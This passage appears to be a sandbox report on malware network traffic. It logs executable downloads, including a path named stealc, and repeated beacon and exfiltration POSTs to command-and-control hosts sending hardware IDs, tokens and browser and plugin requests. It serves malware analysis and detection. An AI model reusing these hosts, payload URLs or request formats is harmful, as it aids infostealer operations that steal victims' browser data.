00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c 27 01 00 00 90 08 00 00 28 01 00 00 76 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f8 e7 04 00 00 c0 09 00 00 d0 04 00 00 9e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 b0 0e 00 00 02 00 00 00 6e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 dc 50 00 00 00 c0 0e 00 00 52 00 00 00 70 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:58:23 GMTContent-Type: application/octet-streamContent-Length: 401920Last-Modified: Thu, 25 Jul 2024 14:15:17 GMTConnection: keep-aliveETag: "66a25df5-62200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e8 67 9a 58 ac 06 f4 0b ac 06 f4 0b ac 06 f4 0b 7f 74 f7 0a a0 06 f4 0b 7f 74 f1 0a 05 06 f4 0b 7f 74 f0 0a b9 06 f4 0b 7f 74 f5 0a af 06 f4 0b ac 06 f5 0b 2e 06 f4 0b 6e 87 f0 0a be 06 f4 0b 6e 87 f1 0a f7 06 f4 0b 6e 87 f7 0a b4 06 f4 0b 5f 84 f1 0a ad 06 f4 0b 5f 84 f4 0a ad 06 f4 0b 5f 84 f6 0a ad 06 f4 0b 52 69 63 68 ac 06 f4 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6b 5c a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 3a 02 00 00 f4 03 00 00 00 00 00 41 84 00 00 00 10 00 00 00 60 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 06 00 00 04 00 00 00 00 00 00 03 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 c0 09 03 00 b8 00 00 00 78 0a 03 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 06 00 5c 20 00 00 48 df 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 df 02 00 18 00 00 00 88 de 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 60 02 00 6c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 47 31 02 00 00 10 00 00 00 32 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 7a 7a 5a 00 00 00 00 20 07 00 00 00 50 02 00 00 08 00 00 00 36 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f2 b2 00 00 00 60 02 00 00 b4 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 1c 03 00 00 20 03 00 00 0e 03 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 5c 20 00 00 00 40 06 00 00 22 00 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:58:25 GMTContent-Type: application/octet-streamContent-Length: 1464832Last-Modified: Thu, 25 Jul 2024 14:17:36 GMTConnection: keep-aliveETag: "66a25e80-165a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e8 67 9a 58 ac 06 f4 0b ac 06 f4 0b ac 06 f4 0b 7f 74 f7 0a a0 06 f4 0b 7f 74 f1 0a 05 06 f4 0b 7f 74 f0 0a b9 06 f4 0b 7f 74 f5 0a af 06 f4 0b ac 06 f5 0b 2e 06 f4 0b 6e 87 f0 0a be 06 f4 0b 6e 87 f1 0a f7 06 f4 0b 6e 87 f7 0a b4 06 f4 0b 5f 84 f1 0a ad 06 f4 0b 5f 84 f4 0a ad 06 f4 0b 5f 84 f6 0a ad 06 f4 0b 52 69 63 68 ac 06 f4 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ba 5d a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 3a 02 00 00 2c 14 00 00 00 00 00 41 84 00 00 00 10 00 00 00 60 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 16 00 00 04 00 00 00 00 00 00 03 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 c0 09 03 00 b8 00 00 00 78 0a 03 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 16 00 64 20 00 00 48 df 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 df 02 00 18 00 00 00 88 de 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 60 02 00 6c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 47 31 02 00 00 10 00 00 00 32 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 7a 7a 5a 00 00 00 00 20 07 00 00 00 50 02 00 00 08 00 00 00 36 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f2 b2 00 00 00 60 02 00 00 b4 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 54 13 00 00 20 03 00 00 46 13 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 64 20 00 00 00 80 16 00 00 22 00 00 00 38 16 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:58:37 GMTContent-Type: application/octet-streamContent-Length: 311296Last-Modified: Thu, 25 Jul 2024 14:48:36 GMTConnection: keep-aliveETag: "66a265c4-4c000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 42 18 05 bd 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 ec 02 00 00 d0 01 00 00 00 00 00 c6 b9 02 00 00 20 00 00 00 20 03 00 00 00 40 00 00 20 00 00 00 04 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 74 b9 02 00 4f 00 00 00 00 20 03 00 c4 c9 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 0c 00 00 00 58 b9 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ac e9 02 00 00 20 00 00 00 ec 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 c4 c9 01 00 00 20 03 00 00 cc 01 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 05 00 00 04 00 00 00 bc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 06:58:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00

Source: global traffic	HTTP traffic detected: GET /tmp/2.exe HTTP/1.1Host: coe.com.vn
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000002001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /cost/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJEGCGDGHDHIDHDGCBHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 33 38 34 38 32 34 39 30 33 42 33 30 32 33 30 31 31 38 35 39 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="hwid"07384824903B3023011859------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="build"sila------BGIJEGCGDGHDHIDHDGCB--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 33 30 30 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000003002&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBAKKKFBGDHJKFHJJJJHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 2d 2d 0d 0a Data Ascii: ------GDBAKKKFBGDHJKFHJJJJContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------GDBAKKKFBGDHJKFHJJJJContent-Disposition: form-data; name="message"browsers------GDBAKKKFBGDHJKFHJJJJ--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEHJJECAEGCAAAAEGIEHost: 85.28.47.31Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 2d 2d 0d 0a Data Ascii: ------DAEHJJECAEGCAAAAEGIEContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------DAEHJJECAEGCAAAAEGIEContent-Disposition: form-data; name="message"plugins------DAEHJJECAEGCAAAAEGIE--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIEBAFHJJDBGCAKJJKFHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 2d 2d 0d 0a Data Ascii: ------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="message"fplugins------CGIEBAFHJJDBGCAKJJKF--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECBAKFBGDGCBGDBAECHost: 85.28.47.31Content-Length: 6567Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
